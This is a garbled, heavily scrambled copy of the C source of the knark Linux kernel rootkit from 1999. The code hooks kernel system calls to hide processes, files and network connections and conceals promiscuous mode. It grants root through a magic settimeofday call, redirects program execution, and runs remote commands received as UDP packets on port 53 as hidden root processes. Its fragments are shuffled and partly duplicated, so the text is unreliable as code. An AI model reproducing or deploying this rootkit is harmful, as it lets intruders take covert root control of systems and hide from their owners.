  knark_bcopy(ptr + curr-
 
     } 





     prev = curr; 
  
 ptr += curr->d_reclen; 
 return ret; 
linkage long knark_getdents64(unsigned int fd, void *dirp, unsigned 
  char *ptr = (char *)dirp; 
ent64 *prev = NULL; 
  kdev_t dev; 
 count); 
et; 
ode = current->files->fd[fd]->f_dentry->d_inode; 
  dev = dinode->i_sb->s_dev; 
 == PROC_ROOT_INO && MAJOR(dinode->i_dev) == 
or_dev) 




(ptr + curr->d_reclen, ptr, ret); 
ontinue; 
ev->d_reclen += curr->d_reclen; 
linkage int knark_fork(struct pt_regs regs) 
    } 
 






    int ret; 
    int proc = 0; 
    struct inode *dinode; 
  
    struct linux_dirent64 *curr; 




    ret = (*original_getdents64)(fd, dirp,
    if(ret <= 0) return r
 
    din
  
     
    if(dinode->i_ino
proc_major_dev && 
 MINOR(dinode->i_dev) == proc_min      
 proc++; 
    while(ptr < (char *)dirp + ret) 
  
 curr = (struct linux_dir
 
 if( (proc && (curr->d_ino == knark_ino || 
        knark_is_invisible(knar
     knark_secret_file(curr->d_
 { 
     if(curr == dirp) 
     { 
  ret -= curr->d_reclen; 
  knark_bcopy
  c
     } 




     prev = curr; 
  
 ptr += curr->d_reclen; 
    } 
 






    pid_t pid; 
    int hide = 0; 
     





_clone(struct pt_regs regs) 
knark_is_invisible(current->pid)) 
  pi
  return pid; 
 struct task_struct *task; 
VISIBLE && sig != SIGVISIBLE) 
l)(pid, sig); 
task(pid)) == NULL) 
euid) 
return -EPERM; 
   
SIBLE; 
VISIBLE; 
   
rk_ioctl(int fd, int cmd, long arg) 
     
    pid = (*original_fork)(regs
    if(hide && pid > 0) 
 
     






    pid_t pid; 
    int hide = 0; 
     
    if(
 hide++; 
     
  d = (*original_clone)(regs); 
    if(hide && pid > 0) 
 knark_hide_process(pid); 





asmlinkage long knark_kill(pid_t pid, int sig) 
{ 
   
 
    if(sig != SIGIN
  return (*original_kil
      
    if((task = knark_find_
 return -ESRCH; 
id && current->    if(current->u
 
  
    if(sig == SIGINVISIBLE) task->flags |= PF_INVI
    else task->flags &= ~PF_IN
  






    int ret; 
    struct ifreq ifr; 
    struct inode *inode; 
uct dentry *entry;     str
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    if(cmd != KNARK_ELITE_CMD) 
  { 
r, (void *)arg, sizeof(struct ifreq)); 
.ifr_ifru.ifru_flags &= ~IFF_PROMISC; 
freq)); 
  } 
   





t knark_add_nethide(char *hidestr) 
knark_nethide_list; 
ist), GFP_KERNEL); 
 NULL) return -1; 
   
  nl->next = NULL; 
   
  
 ret = (*original_ioctl)(fd, cmd, arg); 
 if(!ret && cmd == SIOCGIFFLAGS) 
 { 
     copy_from_user(&if
     ifr
     copy_to_user((void *)arg, &ifr, sizeof(struct i
 } 
 return ret; 
  
  
    if(current->files->fd[fd] == NULL) 
 return -1; 
     
  try = current->fil
    inode = entry->d_inode; 
    switch(arg) 
    { 
      case KNARK
 ret = knark
 
  
      case KNARK_UNHIDE_FILE: 
 ret = 
 break; 
  
      default: 
 return -EINVAL; 
    } 






    struct nethide_list *nl = 
     
    if(nl->nl_hidestr) 
    { 
while(nl->next)  
     nl = nl->next; 
  
 nl->next = kmalloc(sizeof(struct nethide_l
 if(nl->next ==
 nl = nl->next; 
    } 
  
  
    nl->nl_hidestr = hidestr; 
  







    struct nethide_list *tmp, *nl = knark_nethide_list; 
   
(nl->nl_hidestr); 
 = NULL; 
 
 nl = knark_nethide_list->next; 
tmp = nl->next; 
turn 0; 
_t knark_read(int fd, char *buf, size_t count) 
 int ret; 
  char *p1, *p2; 
  struct inode *dinode; 
; 
l_read)(fd, buf, count); 
 nl->nl_hidestr == NULL) return ret; 
->files->fd[fd]->f_dentry->d_inode; 
nt->files->fd[fd]->f_dentry; 
nor number 4 on my system. But 
ld be different on another system. The best way would 
   * to find out this number and put it as a global variable. 
   * it is checked here, in getdents, and in getdents64 
 if(MAJOR(dinode->i_dev) != proc_major_dev || MINOR(dinode->i_dev) 
 if TCP, 3) == 0  
NET_UDP, 3) == 0) 
rstr(buf, nl->nl_hidestr)) ) 
  
    do { 
 if(nl->nl_hidestr) 
 { 
     putname
     nl->nl_hidestr
 } 
  
 nl = nl->next; 
    } while(nl);
     
   
    while(nl) 
    { 
 
 kfree(nl); 
 nl = tmp; 
    } 
    knark_nethide_list->next = NULL; 
     






   
  
  
    struct dentry * f_entry; 
 struct nethide_list *nl = knark_nethide_list   
     
    ret = (*origina
(ret <= 0 ||    if
     
    dinode = current
entry = curre    f_
 
    /* 
     * The /proc file system has a mi
this 




     */ 
   
!= proc_minor_dev) 
return ret;  
     
   (strncmp(f_entry->d_iname, PROC_NET_
|| strncmp(f_entry->d_iname, PROC_       
    { 
 do { 
     while( (p1 = p2 = (char *) st
     { 
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  *p1 =~ *p1; 
f) 
*p1 == '\n') 
     p1++; 
  
 if(*p2 == '\n') 
 + ret) 
(p2++); 
  










tmp = rl->next; 
kfree(rl); 
 } 
   
  while(*p1 != '\n' && p1 > bu




  while(*p2 != '\n' && p2 < buf + ret - 1) 
      p2++; 
 
      p2++; 
      
  while(p2 < buf
      *(p1++) = *
 
  ret -= p2 - p1; 
     } 
     nl = nl->next; 
 } while(nl && nl->nl_hidestr); 
    } 
  






    struct redirect_list *tmp, *rl = kna
     
    do
 if(rl->rl_er.er_from) 
 { 
     putname




name(     put
     rl->rl_er.er_to = NUL
 } 
  
 rl = rl
    } while(rl);
     
    rl 
    while(rl) 
 {    
 
 
 rl = tmp; 
   
    knark_redirect_list->next = NULL; 
     





int knark_add_redirect(struct exec_redirect *er) 
  st direct_list; 
   
knark_strcmp(er->er_from, knark_redirect_path(er->er_from)) || 
 !knark_strcmp(er->er_from, er->er_to)) 
(rl->rl_er.er_from) 
while(rl->next) 
    rl = rl->next; 
 
struct redirect_list), GFP_KERNEL); 
if(rl->next == NULL) return -1; 
; 
   
knark_redirect_path(char *path) 
k_redirect_list; 




linkage long knark_settimeofday(struct timeval *tv, struct timezone 
r_user; 
itch((int)tv) 





  ruct redirect_list *rl = knark_re
  
    if(
      
 return -1; 
     
    if




 rl->next = kmalloc(sizeof(
 
 rl = rl->next; 
    } 
     
    rl->next = NULL; 
    rl->rl_er.er_from = er->er_from
    rl->rl_er.er_to = er->er_to; 
  






rect_list *rl = knar    struct redi
 
    do { 
 if(rl->rl_er.er_f
     return 
  
 rl = rl->next; 
    } 
     







    char *hidestr; 
    struct exec_redirect er, e
     
    sw
    { 
      case KNARK_GIMME_ROOT: 
 
0; 
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 copy_from_user((void *)&er_user, (void *)tz, sizeof(struct 
exec_redirect)); 
 er.er_from = getname(er_user.er_from); 
 er.er_to = getname(er_user.er_to); 
 if(IS_ERR(er.er_from) || IS_ERR(er.er_to)) 
     return -1;  
 knark_add_redirect(&er); 
reak; 
 = getname((char *)tz); 
    se K NETHIDES: 
ethides(); 
   
n _settimeofday)(tv, tz); 
  } 
mlin struct pt_regs regs) 
; 
etname((char *)regs.ebx); 
  error = PTR_ERR(filename); 





IMIT (PAGE_SIZE - 80) 
t kn ar *buf, char **start, off_t offset, int len, 
 break; 
 




      case KNARK_ADD_NETHIDE: 
 hidestr
 if(IS_ERR(hidestr)) 








      default: 
 re  (*originaltur
  
    return 0; 
} 
     
 
t knark_execve(as kage in
{ 
    int error; 
r *filename;     cha
     
    lock_kernel()
 filename = g   
  
  
 goto out; 
   
    error = do_execve(knark_redirect_path(filename), (char 
       (char **)regs.edx, &regs);  
     
    if(error == 0) 
rrent->flags &= ~PF      // cu
      current->flags &= ~PT_DTRACE; 
    putname(filename); 
out: 
    unlock_kernel(); 







      int * eof, void * data) 
  if ind_task(1)) == NULL) 
 = sprintf(buf, " EUID PID\tCOMMAND\n"); 
flags & PF_INVISIBLE) 
    len += sprintf(buf+len, "%5d %d\t%s\n", 
     task->euid, task->pid, task->comm); 
task = task->next_task; 
turn len; 
*buf, char **start, off_t offset, int len, 
void * data) 
  if 0; 
   
  fo ->f_ndevs; n++) 
    len += sprintf(buf+len, "%s\n", kfs->f_dev[n]->d_name[i]); 
t knark_read_redirects(char *buf, char **start, off_t offset, int 
n, 
ta) 
  struct redirect_list *rl = knark_redirect_list; 
set > 0) return 0; 
  le OM                 REDIRECT TO\n"); 
_er.er_from == NULL) 
ile(rl) 
len += tmp = sprintf(buf+len, "%s", rl->rl_er.er_from); 
n = 30 - tmp; 
memset(buf+len, ' ', n); 
 len += n; 
{ 
    struct task_struct *task; 
 0) return 0;     if(offset >
 
  ( (task = knark_f
 return 0; 
     
    len
     





    } while(task->pid != 1 && len < BUF_LIMIT); 
    *eof = 1; 
    *start = buf; 





      int * eof, 
{ 
    int n, i; 
  (offset > 0) return 
 
    len = sprintf(buf, "HIDDEN FILES\n"); 
  
  r(n = 0; n < kfs
 for(i = 0; i < kfs->f_dev[n]->d_nfiles; i++) 
 
    *eof = 1; 
    *start = buf; 






    int * eof, void * da
{ 
    int n, tmp=0; 
  
    if(off
 
  n = sprintf(buf, "REDIRECT FR
    if(rl->rl
 return len; 
     
    wh





 len += sprintf(buf+len, "%s\n", rl->rl_er.er_to); 
 
 rl = rl->next; 
of = 1; 
t kn  
  int * eof, void * data) 
thide_list *nl = knark_nethide_list; 
buf, "HIDDEN STRINGS (without the quotes)\n");    
  { 
idestr); 
  *start = buf; 
, char **start, off_t offset, int len, 
 
if(o n 0; 
* * * * * * * * * * * * * * * * 
 #hack.se 1999 <creed@sekure.net>*\n" 
by cyberwinds@hotmail.com          
 "*                                                         
n an illegal way       
*          or to cause damage of any kind.                
" 
        "* * * * * * * * * * * * * * * * * * * * * * * * * * * * 
" 
 *eof = 1; 
; 
_read(struct file *file, char *buf, 
     size_t len, loff_t *offset) 
  
    } 
    *e
    *start = buf; 




in ark_read_nethides(char *buf, char **start, off_t offset, int len,
 
{ 
    struct ne
    if(offset > 0) return 0; 
 
    len = sprintf(
    while(nl && nl->nl_hidestr) 
  
 len += sprintf(buf+len, "\"%s\"\n", nl->nl_h
 nl = nl->next; 
    } 
    *eof = 1; 
  





       int *eof, void *data)
{ 
  ffset > 0) retur
    len = sprintf(buf, 
* * * * * * * * * *   "* * * 
*\n" 
  "* knark %s by Creed @




  "*    This program may NOT be used i
*\n" 




  ,KNARK_VERSION); 
   
    *start = buf
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{ 
    if(file->f_pos == strlen("fikadags?\n")) 
       return 0; 
     
    len = sprintf(buf, "fikadags?\n"); 
    file->f_pos = len; 
        








  if(buff[n-1] == '\n') 
buff[n] = '\0'; 
 knark_atoi(buff); 
 >= 0 && num <= 16) 
   
 knark_read_verify_rexec(char *buf, char **start, off_t offset, int 
n, 
      int *eof, void * data) 
ICMP_NET_UNREACH\n" 
CH\n" 
   " 4   ICMP_FRAG_NEEDED\n" 
_NET_ANO\n" 
MP_HOST_ANO\n" 
   " 12  ICMP_HOST_UNR_TOS\n" 
   " 13  ICMP_PKT_FILTERED\n" 
   " 15  ICMP_PREC_VIOLATION\n" 
co
        void *data) 
{ 
    int num, n; 
    char buff[16]; 
   
    n = count<16? count:16; 
    knark_bcopy((char *)buf, b
  
 buff[n-1] = '\0'; 
    else 
 
     
    num =
    if(num
 verify_rexec = num; 
  
    file->f_pos = count; 
 








    len = sprintf(buf, 
   "Knark rexec verify-packet must be one of:\n"  
    " 0   
    " 1   ICMP_HOST_UNREA
   " 2   ICMP_PROT_UNREACH\n"  
    " 3   ICMP_FRAG_NEEDED\n" 
 
    " 5   ICMP_SR_FAILED\n" 
    " 6   ICMP_NET_UNKNOWN\n" 
    " 7   ICMP_HOST_ISOLATED\n" 
ICMP_HOST_ISOLATED\n"     " 8   
    " 9   ICMP
    " 10  IC
   " 11  ICMP_NET_UNR_TOS\n"  
 
 
    " 14  ICMP_PREC_VIOLATION\n" 
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    " 16  (don't verify)\n" 
    "\n" 
    "Currently set to: %d\n", 
  *start = buf; 
IFY*/ 
rk_execve_userprogram(char *path, char **argv, char **envp, int 
  st def_envp[] = { "HOME=/", "TERM=linux",  
    
ATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" 
", NULL 
tic struct execve_args args; 
.path = path; 
 else return -1; 
   
  if(argv) args.argv = argv; 
path_argv[1] = NULL; 
  if(envp) args.envp = envp; 
 = kernel_thread(knark_do_exec_userprogram, (void *)&args, 
eturn -1; 
k_hide_process(pid); 
 int i; 
s = (struct execve_args *) data; 
   
ck_kernel(); 
 = init_task.fs; 
omic_inc(&fs->count); 
    verify_rexec); 
    *eof = 1; 
  








    static char *path_argv[2]; 
  atic char *
  
"P
    "/usr/bin/X11
    }; 
    sta
    pid_t pid; 
     
    if(path) args
   
  
  
    else { 
 path_argv[0] = path; 
 
    } 
     
  
    else args.envp = def_envp; 
     
    pid
CLONE_FS); 
    if(pid == -1) 
 r
     
    if(secret) knar




int knark_do_exec_userprogram(void *data) 
{ 
   
    struct fs_struct *fs; 
arg    struct execve_args *
  
    lo
     
    exit_fs(current); 
    fs
    current->fs = fs; 
    at
 173
  
    un
   
   




  if(execve(args->path, args->argv, args->envp) < 0) 
  re rn 0
r *uh = (struct udphdr *)(skb->data + 48); 
ata = skb->data + 56; 
 static char *argv[16]; 
  char space_str[2]; 
   
u_lo  *)d SERPROGRAM) 
goto bad; 
uh->len) - sizeof(struct udphdr) - sizeof(u_long); 
GFP_KERNEL); 
bcopy(data, buf, datalen); 
  bu ; 
ACEMENT; 
[i] = strtok(i? NULL:buf, space_str)) != 
 knark_execve_userprogram(argv[0], argv, NULL, 1); 
fdef FUCKY_REXEC_VERIFY 
  if(verify_rexec >= 0 && verify_rexec < 16) 
   
 return 0; 
lock_kernel(); 
  
    for(i = 0; i < current->files->max_fds; i++) 
 if(current->files->fd[i]) close(i); 
     
    current->uid = current->euid = 
    cap_set_full(c
    cap_set_full(cu
     
   
 
  
 return -1; 
 




int knark_udp_rcv(struct sk_buff *skb) 
{ 
    int i, datalen; 
    struct udphd
    char *buf, *d
   
  
  
    if(uh->source != ntohs(53) || 
       uh->dest != ntohs(53) || 
 *( ng ata != UDP_REXEC_U
 
    data += 4; 
    datalen = ntohs(
     
    buf = kmalloc(datalen+1, 
    if(buf == NULL) 
 goto bad; 
     
    knark_
  f[datalen] = '\0'
     
    space_str[0] = SPACE_REPL
    space_str[1] = 0; 
  fo rgv  r(i = 0; i < 16 && (a
NULL; 
 i++); 
  argv[i] = NULL;   
 
   
#i
  
 icmp_send(skb, ICMP_DEST_UNREACH, verify_rexec, 0); 
#endif /*FUCKY_REXEC_VERIFY*/ 
  
   
bad: 
    //    return original_udp_protocol->handler(skb); 
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  turn original_udp_protocol->ha  re ndler(skb); 
efin O 
  in _protocol); 
  or dp_protocol.next; 
  in rotocol); 
   
  kf fs_struct), GFP_KERNEL); 
  me t knark_fs_struct)); 
  kn ect_list = kmalloc(sizeof(struct redirect_list), 
t == NULL) goto error; 
d *)knark_redirect_list, 0, sizeof(struct 
 knark_nethide_list = kmalloc(sizeof(struct nethide_list), 
P_KERNEL); 
  if(knark_nethide_list == NULL) goto error; 
  memset((void *)knark_nethide_list, 0, sizeof(struct nethide_list)); 
 knark_dir = create_proc_entry(MODULE_NAME, DMODE, &proc_root); 
knark_error("create knark_dir"); 
k_pids->read_proc = knark_read_pids; 
"files", FMODE, knark_dir); 
(knark_files == 0x0) return knark_error("create knark_files"); 
rk_read_files; 
ark_author = create_proc_entry("author", FMODE, knark_dir); 
rn knark_error("create knark_author"); 
nark_read_author; 
  kn _proc_entry("redirects", FMODE, knark_dir); 
x0) return knark_error("create redirects"); 
ark_redirects->read_proc = knark_read_redirects; 
_entry("nethides", FMODE, knark_dir); 
(knark_nethides == 0x0) return knark_error("create nethides"); 
 = create_proc_entry("verify_rexec", 
r); 
xec == 0x0) return knark_error("create 
} 
 
#d e DMODE S_IFDIR|S_IRUGO|S_IXUG






  iginal_udp_protocol = knark_u
  et_del_protocol(original_udp_p
  
  s = kmalloc(sizeof(struct knark_
    if(kfs == NULL) goto error; 




  (knark_redirect_lis  if
    memset((voi
redirect_list)); 
     
   
         GF
  
  
     
 
   
    if(knark_dir == 0x0) return 
    knark_ino = knark_dir->low_ino; 
 
    knark_pids = create_proc_entry("pids", FMODE, knark_dir); 
  if n knark_error("create knark_pids");   (knark_pids == 0x0) retur
    knar
 
= create_proc_entry(    knark_files 
    if
    knark_files->read_proc = kna
 
    kn
    if(knark_author == 0x0) retu
thor->read_proc = k    knark_au
 
  ark_redirects = create
knark_redirects == 0    if(
    kn
 
    knark_nethides = create_proc
    if
    knark_nethides->read_proc = knark_read_nethides; 
#ifdef FUCKY_REXEC_VERIFY 
    knark_verify_rexec
FMODE|S_IWUSR, knark_di
(knark_verify_re    if
verify_rexec"); 
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    knark_verify_rexec->read_proc = knark_read_verify_rexec; 
 knark_verify_rexec->write_proc = knark_write_verify_rexec; 
ndif /*FUCKY_REXEC_VERIFY*/ 
   
getdents]; 
 sys_call_table[SYS_getdents] = knark_getdents; 
_getdents64 = sys_call_table[SYS_getdents64]; 
s_call_table[SYS_kill] = knark_kill; 
sys_call_table[SYS_read]; 
s_call_table[SYS_read] = knark_read; 
s_call_table[SYS_ioctl]; 




_clone] = knark_clone; 
iginal_settimeofday = sys_call_table[SYS_settimeofday]; 
meofday; 
; 
s_call_table[SYS_execve] = knark_execve; 
  int i, n; 
 inet_add_protocol(original_udp_protocol); 
  inet_del_protocol(&knark_udp_protocol); 
r); 





&proc_root);     
  sy nts; 
tdents64; 
le[SYS_kill] = original_kill; 
k; 
S_clone] = original_clone; 
_settimeofday] = original_settimeofday; 
inal_execve; 
ree(knark_redirect_list); 
   
#e
  
    original_getdents = sys_call_table[SYS_
   
    original
    sys_call_table[SYS_getdents64] = knark_getdents64; 
    original_kill = sys_call_table[SYS_kill]; 
    sy
    original_read = 
    sy
    original_ioctl = sy
    sys_call_table[SYS_i
    original_fork = sys
    sys_call_table[SYS_fork] 
    original_clone = 
    sys_call_table[SYS
    or
    sys_call_table[SYS_settimeofday] = knark_setti
    original_execve = sys_call_table[SYS_execve]
    sy
    return 0; 
error: 








   
  
 
    remove_proc_entry("author", knark_di
   
    remove_proc_entry
    remove_proc_entry("pids", knark_dir); 
    remove_proc_entry("files", knark_dir
#ifdef FUCKY_REXEC_VERIFY 
    remove_proc_entry("v
#endif
    remove_proc_entry(MODULE_NAME, 
 
  s_call_table[SYS_getdents] = original_getde
_getdents64] = original_ge    sys_call_table[SYS
    sys_call_tab
    sys_call_table[SYS_read] = original_read; 
s_call_table[SYS_ioctl] = original_ioctl;     sy
    sys_call_table[SYS_fork] = original_for
    sys_call_table[SY
    sys_call_table[SYS
    sys_call_table[SYS_execve] = orig
     
);     knark_clear_redirects(
    kf
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    knark_clear_nethides(); 
    kfree(knark_nethide_list); 
    for(i = 0; i < kfs->f_ndevs; i++){ 
      kfree(kfs->f_dev[i]); 




  } 
.2 
(c) Creed @ #hack.se 1999 <creed@sekure.net> 
ar Jensen, so credits goes to 
ered quite few features, and major changes have 














 knark.c, part of the knark package  *
  *
 *  
.c by Run * This lkm is based on heroin
m. hi
 * Heroin.c however off
en be
  *
 *  
 * This program/lkm may NOT be used in an illegal way,
 * or to cause damage of any kind. 
 *  



































#define PF_INVISIBLE 0x10000000 
 
static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, 
, kill, int, pid, int, sig); 
 arg); 
scall2(int, settimeofday, struct timeval *, tv, 
 unsigned int); 




ts(unsigned int, struct dirent *, unsigned int); 
 knark_fork(struct pt_regs); 
t knark_clone(struct pt_regs); 
t knark_kill(pid_t, int); 
ong); 
 knark_add_nethide(char *); 
_nethides(void); 
t knark_read(int, char *, size_t); 
 timezone *); 
; 
ar *knark_redirect_path(char *); 
, int); 
, int, int); 
f_t, int, int); 
r *, char **, off_t, int, int); 
uint, 
   count) 
static inline _syscall2(int
static inline _syscall3(int, ioctl, int, fd, int, cmd, long,
static inline _syscall1(int, fork, int, regs); 
static inline _syscall1(int, clone, int, regs); 
static inline _sy
   struct timezone *, tz); 
 
extern void *sys_call_table[]; 
 
int (*original_getdents)(unsigned int, struct dirent *,
int (*original_kill)(int, int); 
int (*original_read)(unsigned int, char *, size_t); 
int (*original_ioctl)(int, int, long); 
int (*original_fork)(struct pt_regs); 
int (*original_clone)(struct pt_regs); 
int (*original_execve)(struct pt_regs); 
int (*original_settimeofday)(struct timeval 
 
 
int knark_atoi(char *); 
t)void knark_bcopy(char *, char *, unsigned in
struct task_struct *knark_find_task(pid_t); 
int knark_is_invisible(pid_t); 
int knark_hide_process(pid_t); 
int knark_hide_file(struct inode *, struct dentry *); 
int knark_unhide_file(struct inode *); 











int knark_settimeofday(struct timeval *, struct
)int knark_add_redirect(struct exec_redirect *
ch
int knark_clear_redirects(void); 
int knark_execve(struct pt_regs regs); 
int knark_read_pids(char *, char **, off_t, int
int knark_read_files(char *, char **, off_t
int knark_read_redirects(char *, char **, of
int knark_read_nethides(cha
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int knark_read_author(char *, char **, off_t, int, int); 
nt, int); 
ar *, u_long, void 
ar **, int); 
t); 
uct exec_redirect rl_er; 




list = NULL; 
AX_SECRET_DEVS]; 
ruct execve_args { 
_dir = { 
DULE_NAME, 
#ifdef FUCKY_REXEC_VERIFY 
int knark_read_verify_rexec(char *, char **, off_t, i
t knark_write_verify_rexec(struct file *, const chin
*); 
#endif /*FUCKY_REXEC_VERIFY*/ 
int knark_do_exec_userprogram(void *); 
int knark_execve_userprogram(char *, char **, ch
int knark_udp_rcv(struct sk_buff *, unsigned shor












    struct redirect_list *next; 






   struct nethide_ 




struct knark_dev_struct { 
kdev_t d_dev;     
    int d_nfiles; 
    ino_t d_inode[MAX_SECRET_FILES]; 




struct knark_fs_struct { 
    int f_ndevs; 





    char *path; 
    char **argv; 





    0, 
    sizeof(MODULE_NAME)-1, MO
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    S_IFDIR|S_IRUGO|S_IXUGO, 
_pids = { 
 
k_files = { 
 
  1, 0, 0, 
  NULL, 
  0, 
  &knark_read_redirects 
 
  0, 
  NULL, 
or = { 
    1, 0, 0, 





    0, 
    4, "pids", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
    0, 
    NULL, 





    0, 
    5, "files", 
    S_IFREG|S_IRUGO,
  
    0, 
  




struct proc_dir_entry knark_redirects = { 
    0, 
    9, "redirects", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
  





struct proc_dir_entry knark_nethides = {
    0, 
    8, "nethides", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
  
  





    0, 
    6, "author", 
    S_IFREG|S_IRUGO, 
    1, 0, 0, 
    0, 
    NULL, 
 180





struct proc_dir_entry knark_verify_rexec = { 
ec 
  NULL, 
  IPPROTO_ICMP, 
  "ICMP" 
 int ret = 0; 
 '9') 
          return -EINVAL; 
 - '0'); 
  return ret; 
ar *src, char *dst, unsigned int num) 
    *(dst++) = *(src++); 
    0, 
    12, "verify_rexec", 
    S_IFREG|S_IRUGO|S_IWUSR, 
    1, 0, 0, 
    0, 
    NULL, 
    &knark_read_verify_rexec, 
    NULL, 
    NULL, NULL, NULL, 
    NULL, 
    NULL, 





struct inet_protocol knark_udp_protocol = 
{ 
    &knark_udp_rcv, 
    NULL, 
  
  
    0, 





t knark_atoi(char *str) in
{ 
   
 
    while (*str) 
    { 
      if(*str < '0' || *str >  
  
        ret *= 10; 
     ret += (*str   
        str++; 








    while(num-- > 0) 





int knark_strcmp(const char *str1, const char *str2) 
{ 
(*str1 && *str2)     while
 if(*(str1++) != *(str2++)) 
    return -1; 
ct task_struct *knark_find_task(pid_t pid) 
  struct task_struct *task = current; 
 
ask->next_task; 
ile(current != task); 
 
  return NULL; 
isible(pid_t pid) 
k_struct *task; 
< 0) return 0; 
if( (task = knark_find_task(pid)) == NULL) 
return 0; 
   
pid_t pid) 
  struct task_struct *task; 





ruct knark_dev_struct *knark_add_secret_dev(kdev_t dev) 
ndevs = kfs->f_ndevs; 
 








    do {
 if(task->pid == pid) 
     return task; 
 task = t
    } wh







    struct tas
     
    if(pid 
     
    
 
  
    if(task->flags & PF_INVISIBLE) 
turn 1;  re
     








    if( (task = knark_find_task(pid)) == NU
 re
     
    task->flags |= PF_
     






    int current_dev = kfs->f_ndevs; 
    int 
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    struct knark_dev_struct **kds = kfs->f_dev; 
= MAX_SECRET_DEVS) 
NULL; 
ruct knark_dev_struct *) 
loc(sizeof(struct knark_dev_struct), GFP_KERNEL); 
  if(kds[current_dev] == NULL) 
return NULL; 
ev]->d_dev = dev; 
v]->d_nfiles = 0; 
_dev]->d_inode, 0, MAX_SECRET_FILES * 
; 
et(kds[current_dev]->d_name, 0, MAX_SECRET_FILES * sizeof(char 
 
  return kds[current_dev]; 
*knark_get_secret_dev(kdev_t dev) 
rk_dev_struct **kds = kfs->f_dev; 
i; 
s[i]->d_dev == dev) 
; 
NULL; 
t knark_secret_file(ino_t inode, kdev_t dev) 






for(i = 0; i < nfiles; i++) 
if(kds->d_inode[i] == inode) 
    return 1; 
 return 0; 
le(struct inode *inode, struct dentry *entry) 
     
    if(ndevs >
turn  re
     




     
    kds[current_d
    kds[current_de
    memset(kds[current
sizeof(ino_t))
    mems
*)); 
    kfs->f_ndevs++; 







    int ndevs = kfs->f_ndevs; 
    struct kna
    int 
     
    for(i = 0; i < ndevs; i++) 
 if(kd
     return kds[i]
     






    int i; 
   
    struct knark_dev_
     
    kds = k
    if(kds == NULL)
 re
     
    nfiles =
    
 
 
     







    char *name, *nameptr[16]; 
ds; 
 
v_t dev = inode->i_sb->s_dev; 
   
et_file(ino, dev)) 
     return -1; 
  kds = knark_get_secret_dev(dev); 




   
meptr, 0, 16*sizeof(char *)); 
for(i = 0; i < 16 && entry->d_name.len != 1 && entry-
_name.name[0] != '/'; i++) 
e; 
    namelen += entry->d_name.len; 
} 
len += i + 1; 
les] = kmalloc(namelen, GFP_KERNEL); 
[kds->d_nfiles]; 
for(i = 0; nameptr[i]; i++) ; 
= 0; i--) 
    len = strlen(name); 
    name[len] = '/'; 
ptr[i]); 
} 
kds->d_name[kds->d_nfiles] = NULL; 
iles; 
ark_unhide_file(struct inode *inode) 
 int i; 
  int nfiles; 
  struct knark_dev_struct *kds; 
    int i, len, namelen = 0; 
    struct knark_dev_struct *k
inode->i_ino;    ino_t ino = 
    kde
  
    if(knark_secr
   
 
  
    if(kds == NULL) { 
   
        if(kds == NULL
            return -1; 
   
 
    else if(kds->d_nfiles >= MAX_SECRET_FILES) 
        return -1; 
 
    kds->d_inode[kds->d_nfiles] =
  





     nameptr[i] = (char *)entry->d_name.nam
 




 name = kds->d_name
 name[0] = '\0'; 
  
 




     strcpy(&name[len+1], name
 
    } 
     
    else 
 
 






   
  
  
    ino_t ino = inode->i_ino; 
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    kdev_t dev = inode->i_dev; 
    if(!knark_secret_file(ino, dev)) 
 return -1; 
     
    kds = knark_get_secret_dev(dev); 
    if(kds == NULL) 
        return -1; 
 
    nfiles = kds->d_nfiles; 
    for(i = 0; i < nfiles; i++) 
        if(kds->d_inode[i] == ino) 
    { 
        kds->d_inode[i] = kds->d_inode[nfiles - 1]; 
        kds->d_inode[nfiles - 1] = 0; 
 if(kds->d_name[nfiles - 1]) 
     kfree(kds->d_name[nfiles - 1]); 
        return --kds->d_nfiles; 
    } 
 




int knark_getdents(unsigned int fd, struct dirent *dirp, unsigned int 
count) 
{ 
    int ret; 
    int proc = 0; 
    struct inode *dinode; 
    char *ptr = (char *)dirp; 
    struct dirent *curr; 
    struct dirent *prev = NULL; 
    kdev_t dev; 
     
    ret = (*original_getdents)(fd, dirp, count); 
    if(ret <= 0) return ret; 
 
    dinode = current->files->fd[fd]->f_dentry->d_inode; 
    dev = dinode->i_sb->s_dev; 
     
    if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && 
       MINOR(dinode->i_dev) == 1) 
 proc++; 
     
    while(ptr < (char *)dirp + ret) 
    { 
 curr = (struct dirent *)ptr; 
 
 if( (proc && (curr->d_ino == knark_ino || 
        knark_is_invisible(knark_atoi(curr->d_name)))) || 
     knark_secret_file(curr->d_ino, dev)) 
 { 
     if(curr == dirp) 
     { 
  ret -= curr->d_reclen; 
  knark_bcopy(ptr + curr->d_reclen, ptr, ret); 
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  continue; 
     } 
     else 
  prev->d_reclen += curr->d_reclen; 
 } 
 else 
     prev = curr; 
  
 ptr += curr->d_reclen; 
    } 
 




int knark_fork(struct pt_regs regs) 
{ 
    pid_t pid; 
    int hide = 0; 
     
    if(knark_is_invisible(current->pid)) 
 hide++; 
     
    pid = (*original_fork)(regs); 
    if(hide && pid > 0) 
 knark_hide_process(pid); 
     




int knark_clone(struct pt_regs regs) 
{ 
    pid_t pid; 
    int hide = 0; 
     
    if(knark_is_invisible(current->pid)) 
 hide++; 
     
    pid = (*original_clone)(regs); 
    if(hide && pid > 0) 
 knark_hide_process(pid); 
     




int knark_kill(pid_t pid, int sig) 
{ 
    struct task_struct *task; 
     
    if(sig != SIGINVISIBLE && sig != SIGVISIBLE) 
  return (*original_kill)(pid, sig); 
      
    if((task = knark_find_task(pid)) == NULL) 
 return -ESRCH; 
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    if(current->uid && current->euid) 
 return -EPERM; 
     
    if(sig == SIGINVISIBLE) task->flags |= PF_INVISIBLE; 
    else task->flags &= ~PF_INVISIBLE; 
     




int knark_ioctl(int fd, int cmd, long arg) 
{ 
    int ret; 
    struct ifreq ifr; 
    struct inode *inode; 
    struct dentry *entry; 
 
    if(cmd != KNARK_ELITE_CMD) 
    { 
 ret = (*original_ioctl)(fd, cmd, arg); 
 if(!ret && cmd == SIOCGIFFLAGS) 
 { 
     copy_from_user(&ifr, (void *)arg, sizeof(struct ifreq)); 
     ifr.ifr_ifru.ifru_flags &= ~IFF_PROMISC; 
     copy_to_user((void *)arg, &ifr, sizeof(struct ifreq)); 
 } 
 return ret; 
    } 
     
    if(current->files->fd[fd] == NULL) 
 return -1; 
     
